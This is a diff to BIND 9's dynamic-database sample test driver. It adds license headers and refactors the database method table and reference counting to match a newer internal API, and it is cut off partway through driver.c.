--- a/bin/tests/system/dyndb/driver/Makefile.am
+++ b/bin/tests/system/dyndb/driver/Makefile.am
@@ -4,19 +4,17 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)
 
-check_LTLIBRARIES = sample.la
+noinst_LTLIBRARIES = sample.la
 
 sample_la_SOURCES =	\
 	db.c		\
 	driver.c	\
 	instance.c	\
-	lock.c		\
 	log.c		\
 	syncptr.c	\
 	zone.c		\
 	db.h		\
 	instance.h	\
-	lock.h		\
 	log.h		\
 	syncptr.h	\
 	util.h		\
diff --git a/bin/tests/system/dyndb/driver/README b/bin/tests/system/dyndb/driver/README
index 9aac0a621b..db73396832 100644
--- a/bin/tests/system/dyndb/driver/README
+++ b/bin/tests/system/dyndb/driver/README
@@ -1,3 +1,30 @@
+<!--
+Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+
+SPDX-License-Identifier: MPL-2.0 and ISC
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+
+Copyright (C) Red Hat
+
+Permission to use, copy, modify, and/or distribute this software for any
+purpose with or without fee is hereby granted, provided that the above
+copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THIS SOFTWARE.
+-->
+
 To use the Dynamic DB sample driver, run named and check the log.
 
     $ cd testing
diff --git a/bin/tests/system/dyndb/driver/db.c b/bin/tests/system/dyndb/driver/db.c
index 77d335e2ea..8a9f694f8b 100644
--- a/bin/tests/system/dyndb/driver/db.c
+++ b/bin/tests/system/dyndb/driver/db.c
@@ -1,3 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) 2009-2015 Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
 /*
  * Database API implementation. The interface is defined in lib/dns/db.h.
  *
@@ -7,8 +36,6 @@
  * This example re-uses RBT DB implementation from original BIND and blindly
  * proxies most of dns_db_*() calls to this underlying RBT DB.
  * See struct sampledb below.
- *
- * Copyright (C) 2009-2015  Red Hat ; see COPYRIGHT for license
  */
 
 #include "db.h"
@@ -37,7 +64,6 @@
 
 struct sampledb {
 	dns_db_t common;
-	isc_refcount_t refs;
 	sample_instance_t *inst;
 
 	/*
@@ -66,17 +92,9 @@ sample_name_fromnode(dns_dbnode_t *node, dns_name_t *name) {
 }
 
 static void
-attach(dns_db_t *source, dns_db_t **targetp) {
-	sampledb_t *sampledb = (sampledb_t *)source;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	isc_refcount_increment(&sampledb->refs);
-	*targetp = source;
-}
+destroy(dns_db_t *db) {
+	sampledb_t *sampledb = (sampledb_t *)db;
 
-static void
-free_sampledb(sampledb_t *sampledb) {
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
 	dns_db_detach(&sampledb->rbtdb);
@@ -85,72 +103,6 @@ free_sampledb(sampledb_t *sampledb) {
 			     sizeof(*sampledb));
 }
 
-static void
-detach(dns_db_t **dbp) {
-	REQUIRE(dbp != NULL && VALID_SAMPLEDB((sampledb_t *)(*dbp)));
-	sampledb_t *sampledb = (sampledb_t *)(*dbp);
-	*dbp = NULL;
-
-	if (isc_refcount_decrement(&sampledb->refs) == 1) {
-		free_sampledb(sampledb);
-	}
-}
-
-/*
- * This method should never be called, because DB is "persistent".
- * See ispersistent() function. It means that database do not need to be
- * loaded in the usual sense.
- */
-static isc_result_t
-beginload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-
-	fatal_error("current implementation should never call beginload()");
-
-	/* Not reached */
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * This method should never be called, because DB is "persistent".
- * See ispersistent() function. It means that database do not need to be
- * loaded in the usual sense.
- */
-static isc_result_t
-endload(dns_db_t *db, dns_rdatacallbacks_t *callbacks) {
-	UNUSED(db);
-	UNUSED(callbacks);
-
-	fatal_error("current implementation should never call endload()");
-
-	/* Not reached */
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-serialize(dns_db_t *db, dns_dbversion_t *version, FILE *file) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_serialize(sampledb->rbtdb, version, file));
-}
-
-static isc_result_t
-dump(dns_db_t *db, dns_dbversion_t *version, const char *filename,
-     dns_masterformat_t masterformat) {
-	UNUSED(db);
-	UNUSED(version);
-	UNUSED(filename);
-	UNUSED(masterformat);
-
-	fatal_error("current implementation should never call dump()");
-
-	/* Not reached */
-	return (ISC_R_SUCCESS);
-}
-
 static void
 currentversion(dns_db_t *db, dns_dbversion_t **versionp) {
 	sampledb_t *sampledb = (sampledb_t *)db;
@@ -180,84 +132,72 @@ attachversion(dns_db_t *db, dns_dbversion_t *source,
 }
 
 static void
-closeversion(dns_db_t *db, dns_dbversion_t **versionp, bool commit) {
+closeversion(dns_db_t *db, dns_dbversion_t **versionp,
+	     bool commit DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_closeversion(sampledb->rbtdb, versionp, commit);
+	dns__db_closeversion(sampledb->rbtdb, versionp,
+			     commit DNS__DB_FLARG_PASS);
 }
 
 static isc_result_t
 findnode(dns_db_t *db, const dns_name_t *name, bool create,
-	 dns_dbnode_t **nodep) {
+	 dns_dbnode_t **nodep DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_findnode(sampledb->rbtdb, name, create, nodep));
+	return (dns__db_findnode(sampledb->rbtdb, name, create,
+				 nodep DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
 find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
      dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
      dns_dbnode_t **nodep, dns_name_t *foundname, dns_rdataset_t *rdataset,
-     dns_rdataset_t *sigrdataset) {
+     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_find(sampledb->rbtdb, name, version, type, options, now,
-			    nodep, foundname, rdataset, sigrdataset));
+	return (dns__db_find(sampledb->rbtdb, name, version, type, options, now,
+			     nodep, foundname, rdataset,
+			     sigrdataset DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
 findzonecut(dns_db_t *db, const dns_name_t *name, unsigned int options,
 	    isc_stdtime_t now, dns_dbnode_t **nodep, dns_name_t *foundname,
 	    dns_name_t *dcname, dns_rdataset_t *rdataset,
-	    dns_rdataset_t *sigrdataset) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_findzonecut(sampledb->rbtdb, name, options, now, nodep,
-				   foundname, dcname, rdataset, sigrdataset));
-}
-
-static void
-attachnode(dns_db_t *db, dns_dbnode_t *source, dns_dbnode_t **targetp) {
+	    dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_attachnode(sampledb->rbtdb, source, targetp);
+	return (dns__db_findzonecut(sampledb->rbtdb, name, options, now, nodep,
+				    foundname, dcname, rdataset,
+				    sigrdataset DNS__DB_FLARG_PASS));
 }
 
 static void
-detachnode(dns_db_t *db, dns_dbnode_t **targetp) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	dns_db_detachnode(sampledb->rbtdb, targetp);
-}
-
-static isc_result_t
-expirenode(dns_db_t *db, dns_dbnode_t *node, isc_stdtime_t now) {
+attachnode(dns_db_t *db, dns_dbnode_t *source,
+	   dns_dbnode_t **targetp DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_expirenode(sampledb->rbtdb, node, now));
+	dns__db_attachnode(sampledb->rbtdb, source, targetp DNS__DB_FLARG_PASS);
 }
 
 static void
-printnode(dns_db_t *db, dns_dbnode_t *node, FILE *out) {
+detachnode(dns_db_t *db, dns_dbnode_t **targetp DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_printnode(sampledb->rbtdb, node, out);
+	dns__db_detachnode(sampledb->rbtdb, targetp DNS__DB_FLARG_PASS);
 }
 
 static isc_result_t
@@ -273,30 +213,33 @@ createiterator(dns_db_t *db, unsigned int options,
 static isc_result_t
 findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	     dns_rdatatype_t type, dns_rdatatype_t covers, isc_stdtime_t now,
-	     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+	     dns_rdataset_t *rdataset,
+	     dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_findrdataset(sampledb->rbtdb, node, version, type,
-				    covers, now, rdataset, sigrdataset));
+	return (dns__db_findrdataset(sampledb->rbtdb, node, version, type,
+				     covers, now, rdataset,
+				     sigrdataset DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
 allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	     isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
+	     unsigned int options, isc_stdtime_t now,
+	     dns_rdatasetiter_t **iteratorp DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_allrdatasets(sampledb->rbtdb, node, version, now,
-				    iteratorp));
+	return (dns__db_allrdatasets(sampledb->rbtdb, node, version, options,
+				     now, iteratorp DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
 addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	    isc_stdtime_t now, dns_rdataset_t *rdataset, unsigned int options,
-	    dns_rdataset_t *addedrdataset) {
+	    dns_rdataset_t *addedrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 	isc_result_t result;
 	dns_fixedname_t name;
@@ -304,10 +247,11 @@ addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
 	dns_fixedname_init(&name);
-	CHECK(dns_db_addrdataset(sampledb->rbtdb, node, version, now, rdataset,
-				 options, addedrdataset));
+	CHECK(dns__db_addrdataset(sampledb->rbtdb, node, version, now, rdataset,
+				  options, addedrdataset DNS__DB_FLARG_PASS));
 	if (rdataset->type == dns_rdatatype_a ||
-	    rdataset->type == dns_rdatatype_aaaa) {
+	    rdataset->type == dns_rdatatype_aaaa)
+	{
 		CHECK(sample_name_fromnode(node, dns_fixedname_name(&name)));
 		CHECK(syncptrs(sampledb->inst, dns_fixedname_name(&name),
 			       rdataset, DNS_DIFFOP_ADD));
@@ -320,7 +264,7 @@ addrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 static isc_result_t
 subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 		 dns_rdataset_t *rdataset, unsigned int options,
-		 dns_rdataset_t *newrdataset) {
+		 dns_rdataset_t *newrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 	isc_result_t result;
 	dns_fixedname_t name;
@@ -328,14 +272,16 @@ subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
 	dns_fixedname_init(&name);
-	result = dns_db_subtractrdataset(sampledb->rbtdb, node, version,
-					 rdataset, options, newrdataset);
+	result = dns__db_subtractrdataset(sampledb->rbtdb, node, version,
+					  rdataset, options,
+					  newrdataset DNS__DB_FLARG_PASS);
 	if (result != ISC_R_SUCCESS && result != DNS_R_NXRRSET) {
 		goto cleanup;
 	}
 
 	if (rdataset->type == dns_rdatatype_a ||
-	    rdataset->type == dns_rdatatype_aaaa) {
+	    rdataset->type == dns_rdatatype_aaaa)
+	{
 		CHECK(sample_name_fromnode(node, dns_fixedname_name(&name)));
 		CHECK(syncptrs(sampledb->inst, dns_fixedname_name(&name),
 			       rdataset, DNS_DIFFOP_DEL));
@@ -351,13 +297,13 @@ subtractrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
  */
 static isc_result_t
 deleterdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-	       dns_rdatatype_t type, dns_rdatatype_t covers) {
+	       dns_rdatatype_t type, dns_rdatatype_t covers DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_deleterdataset(sampledb->rbtdb, node, version, type,
-				      covers));
+	return (dns__db_deleterdataset(sampledb->rbtdb, node, version, type,
+				       covers DNS__DB_FLARG_PASS));
 }
 
 static bool
@@ -370,59 +316,31 @@ issecure(dns_db_t *db) {
 }
 
 static unsigned int
-nodecount(dns_db_t *db) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_nodecount(sampledb->rbtdb));
-}
-
-/*
- * The database does not need to be loaded from disk or written to disk.
- * Always return true.
- */
-static bool
-ispersistent(dns_db_t *db) {
-	UNUSED(db);
-
-	return (true);
-}
-
-static void
-overmem(dns_db_t *db, bool over) {
+nodecount(dns_db_t *db, dns_dbtree_t tree) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_overmem(sampledb->rbtdb, over);
+	return (dns_db_nodecount(sampledb->rbtdb, tree));
 }
 
 static void
-settask(dns_db_t *db, isc_task_t *task) {
+setloop(dns_db_t *db, isc_loop_t *loop) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_settask(sampledb->rbtdb, task);
+	dns_db_setloop(sampledb->rbtdb, loop);
 }
 
 static isc_result_t
-getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_getoriginnode(sampledb->rbtdb, nodep));
-}
-
-static void
-transfernode(dns_db_t *db, dns_dbnode_t **sourcep, dns_dbnode_t **targetp) {
+getoriginnode(dns_db_t *db, dns_dbnode_t **nodep DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	dns_db_transfernode(sampledb->rbtdb, sourcep, targetp);
+	return (dns__db_getoriginnode(sampledb->rbtdb,
+				      nodep DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
@@ -439,12 +357,13 @@ getnsec3parameters(dns_db_t *db, dns_dbversion_t *version, dns_hash_t *hash,
 
 static isc_result_t
 findnsec3node(dns_db_t *db, const dns_name_t *name, bool create,
-	      dns_dbnode_t **nodep) {
+	      dns_dbnode_t **nodep DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_findnsec3node(sampledb->rbtdb, name, create, nodep));
+	return (dns__db_findnsec3node(sampledb->rbtdb, name, create,
+				      nodep DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
@@ -457,30 +376,14 @@ setsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, isc_stdtime_t resign) {
 }
 
 static isc_result_t
-getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset, dns_name_t *name) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_getsigningtime(sampledb->rbtdb, rdataset, name));
-}
-
-static void
-resigned(dns_db_t *db, dns_rdataset_t *rdataset, dns_dbversion_t *version) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	dns_db_resigned(sampledb->rbtdb, rdataset, version);
-}
-
-static bool
-isdnssec(dns_db_t *db) {
+getsigningtime(dns_db_t *db, dns_rdataset_t *rdataset,
+	       dns_name_t *name DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_isdnssec(sampledb->rbtdb));
+	return (dns__db_getsigningtime(sampledb->rbtdb, rdataset,
+				       name DNS__DB_FLARG_PASS));
 }
 
 static dns_stats_t *
@@ -495,13 +398,13 @@ getrrsetstats(dns_db_t *db) {
 static isc_result_t
 findnodeext(dns_db_t *db, const dns_name_t *name, bool create,
 	    dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	    dns_dbnode_t **nodep) {
+	    dns_dbnode_t **nodep DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_findnodeext(sampledb->rbtdb, name, create, methods,
-				   clientinfo, nodep));
+	return (dns__db_findnodeext(sampledb->rbtdb, name, create, methods,
+				    clientinfo, nodep DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
@@ -509,14 +412,14 @@ findext(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 	dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
 	dns_dbnode_t **nodep, dns_name_t *foundname,
 	dns_clientinfomethods_t *methods, dns_clientinfo_t *clientinfo,
-	dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
+	dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset DNS__DB_FLARG) {
 	sampledb_t *sampledb = (sampledb_t *)db;
 
 	REQUIRE(VALID_SAMPLEDB(sampledb));
 
-	return (dns_db_findext(sampledb->rbtdb, name, version, type, options,
-			       now, nodep, foundname, methods, clientinfo,
-			       rdataset, sigrdataset));
+	return (dns__db_findext(sampledb->rbtdb, name, version, type, options,
+				now, nodep, foundname, methods, clientinfo,
+				rdataset, sigrdataset DNS__DB_FLARG_PASS));
 }
 
 static isc_result_t
@@ -528,71 +431,39 @@ setcachestats(dns_db_t *db, isc_stats_t *stats) {
 	return (dns_db_setcachestats(sampledb->rbtdb, stats));
 }
 
-static size_t
-hashsize(dns_db_t *db) {
-	sampledb_t *sampledb = (sampledb_t *)db;
-
-	REQUIRE(VALID_SAMPLEDB(sampledb));
-
-	return (dns_db_hashsize(sampledb->rbtdb));
-}
-
 /*
  * DB interface definition. Database driver uses this structure to
  * determine which implementation of dns_db_*() function to call.
  */
 static dns_dbmethods_t sampledb_methods = {
-	attach,
-	detach,
-	beginload,
-	endload,
-	serialize,
-	dump,
-	currentversion,
-	newversion,
-	attachversion,
-	closeversion,
-	findnode,
-	find,
-	findzonecut,
-	attachnode,
-	detachnode,
-	expirenode,
-	printnode,
-	createiterator,
-	findrdataset,
-	allrdatasets,
-	addrdataset,
-	subtractrdataset,
-	deleterdataset,
-	issecure,
-	nodecount,
-	ispersistent,
-	overmem,
-	settask,
-	getoriginnode,
-	transfernode,
-	getnsec3parameters,
-	findnsec3node,
-	setsigningtime,
-	getsigningtime,
-	resigned,
-	isdnssec,
-	getrrsetstats,
-	NULL, /* rpz_attach */
-	NULL, /* rpz_ready */
-	findnodeext,
-	findext,
-	setcachestats,
-	hashsize,
-	NULL, /* nodefullname */
-	NULL, /* getsize */
-	NULL, /* setservestalettl */
-	NULL, /* getservestalettl */
-	NULL, /* setservestalerefresh */
-	NULL, /* getservestalerefresh */
-	NULL, /* setgluecachestats */
-	NULL  /* adjusthashsize */
+	.destroy = destroy,
+	.currentversion = currentversion,
+	.newversion = newversion,
+	.attachversion = attachversion,
+	.closeversion = closeversion,
+	.findnode = findnode,
+	.find = find,
+	.findzonecut = findzonecut,
+	.attachnode = attachnode,
+	.detachnode = detachnode,
+	.createiterator = createiterator,
+	.findrdataset = findrdataset,
+	.allrdatasets = allrdatasets,
+	.addrdataset = addrdataset,
+	.subtractrdataset = subtractrdataset,
+	.deleterdataset = deleterdataset,
+	.issecure = issecure,
+	.nodecount = nodecount,
+	.setloop = setloop,
+	.getoriginnode = getoriginnode,
+	.getnsec3parameters = getnsec3parameters,
+	.findnsec3node = findnsec3node,
+	.setsigningtime = setsigningtime,
+	.getsigningtime = getsigningtime,
+	.getrrsetstats = getrrsetstats,
+	.findnodeext = findnodeext,
+	.findext = findext,
+	.setcachestats = setcachestats,
 };
 
 /* Auxiliary driver functions. */
@@ -625,7 +496,7 @@ add_soa(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 	rdatalist.rdclass = rdata.rdclass;
 	rdatalist.ttl = 86400;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	CHECK(dns_db_findnode(db, name, true, &node));
 	CHECK(dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL));
 cleanup:
@@ -663,7 +534,7 @@ add_ns(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 	rdatalist.rdclass = rdata.rdclass;
 	rdatalist.ttl = 86400;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	CHECK(dns_db_findnode(db, name, true, &node));
 	CHECK(dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL));
 cleanup:
@@ -699,7 +570,7 @@ add_a(dns_db_t *db, dns_dbversion_t *version, const dns_name_t *name,
 	rdatalist.rdclass = rdata.rdclass;
 	rdatalist.ttl = 86400;
 	ISC_LIST_APPEND(rdatalist.rdata, &rdata, link);
-	CHECK(dns_rdatalist_tordataset(&rdatalist, &rdataset));
+	dns_rdatalist_tordataset(&rdatalist, &rdataset);
 	CHECK(dns_db_findnode(db, name, true, &node));
 	CHECK(dns_db_addrdataset(db, node, version, 0, &rdataset, 0, NULL));
 cleanup:
@@ -735,22 +606,20 @@ create_db(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
 
 	a_addr.s_addr = 0x0100007fU;
 
-	CHECKED_MEM_GET_PTR(mctx, sampledb);
-	ZERO_PTR(sampledb);
+	sampledb = isc_mem_get(mctx, sizeof(*sampledb));
+	*sampledb = (sampledb_t){
+		.common.magic = DNS_DB_MAGIC,
+		.common.impmagic = SAMPLEDB_MAGIC,
+		.common.methods = &sampledb_methods,
+		.common.rdclass = rdclass,
+	};
 
 	isc_mem_attach(mctx, &sampledb->common.mctx);
 	dns_name_init(&sampledb->common.origin, NULL);
 
-	sampledb->common.magic = DNS_DB_MAGIC;
-	sampledb->common.impmagic = SAMPLEDB_MAGIC;
-
-	sampledb->common.methods = &sampledb_methods;
-	sampledb->common.attributes = 0;
-	sampledb->common.rdclass = rdclass;
-
 	CHECK(dns_name_dupwithoffsets(origin, mctx, &sampledb->common.origin));
 
-	isc_refcount_init(&sampledb->refs, 1);
+	isc_refcount_init(&sampledb->common.references, 1);
 
 	/* Translate instance name to instance pointer. */
 	sampledb->inst = driverarg;
@@ -771,14 +640,12 @@ create_db(isc_mem_t *mctx, const dns_name_t *origin, dns_dbtype_t type,
 	return (ISC_R_SUCCESS);
 
 cleanup:
-	if (sampledb != NULL) {
-		if (dns_name_dynamic(&sampledb->common.origin)) {
-			dns_name_free(&sampledb->common.origin, mctx);
-		}
-
-		isc_mem_putanddetach(&sampledb->common.mctx, sampledb,
-				     sizeof(*sampledb));
+	if (dns_name_dynamic(&sampledb->common.origin)) {
+		dns_name_free(&sampledb->common.origin, mctx);
 	}
 
+	isc_mem_putanddetach(&sampledb->common.mctx, sampledb,
+			     sizeof(*sampledb));
+
 	return (result);
 }
diff --git a/bin/tests/system/dyndb/driver/db.h b/bin/tests/system/dyndb/driver/db.h
index 85c15939ab..c520c8b760 100644
--- a/bin/tests/system/dyndb/driver/db.h
+++ b/bin/tests/system/dyndb/driver/db.h
@@ -1,7 +1,34 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) 2009-2015 Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
 /**
  * Database API implementation.
- *
- * Copyright (C) 2015  Red Hat ; see COPYRIGHT for license
  */
 
 #pragma once
diff --git a/bin/tests/system/dyndb/driver/driver.c b/bin/tests/system/dyndb/driver/driver.c
index 1af50c6c14..33702bd9e8 100644
--- a/bin/tests/system/dyndb/driver/driver.c
+++ b/bin/tests/system/dyndb/driver/driver.c
@@ -1,3 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Copyright (C) Red Hat
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND AUTHORS DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
 /*
  * Driver API implementation and main entry point for BIND.
  *
@@ -11,19 +40,15 @@
  * each section even if they reference the same driver/library. It is
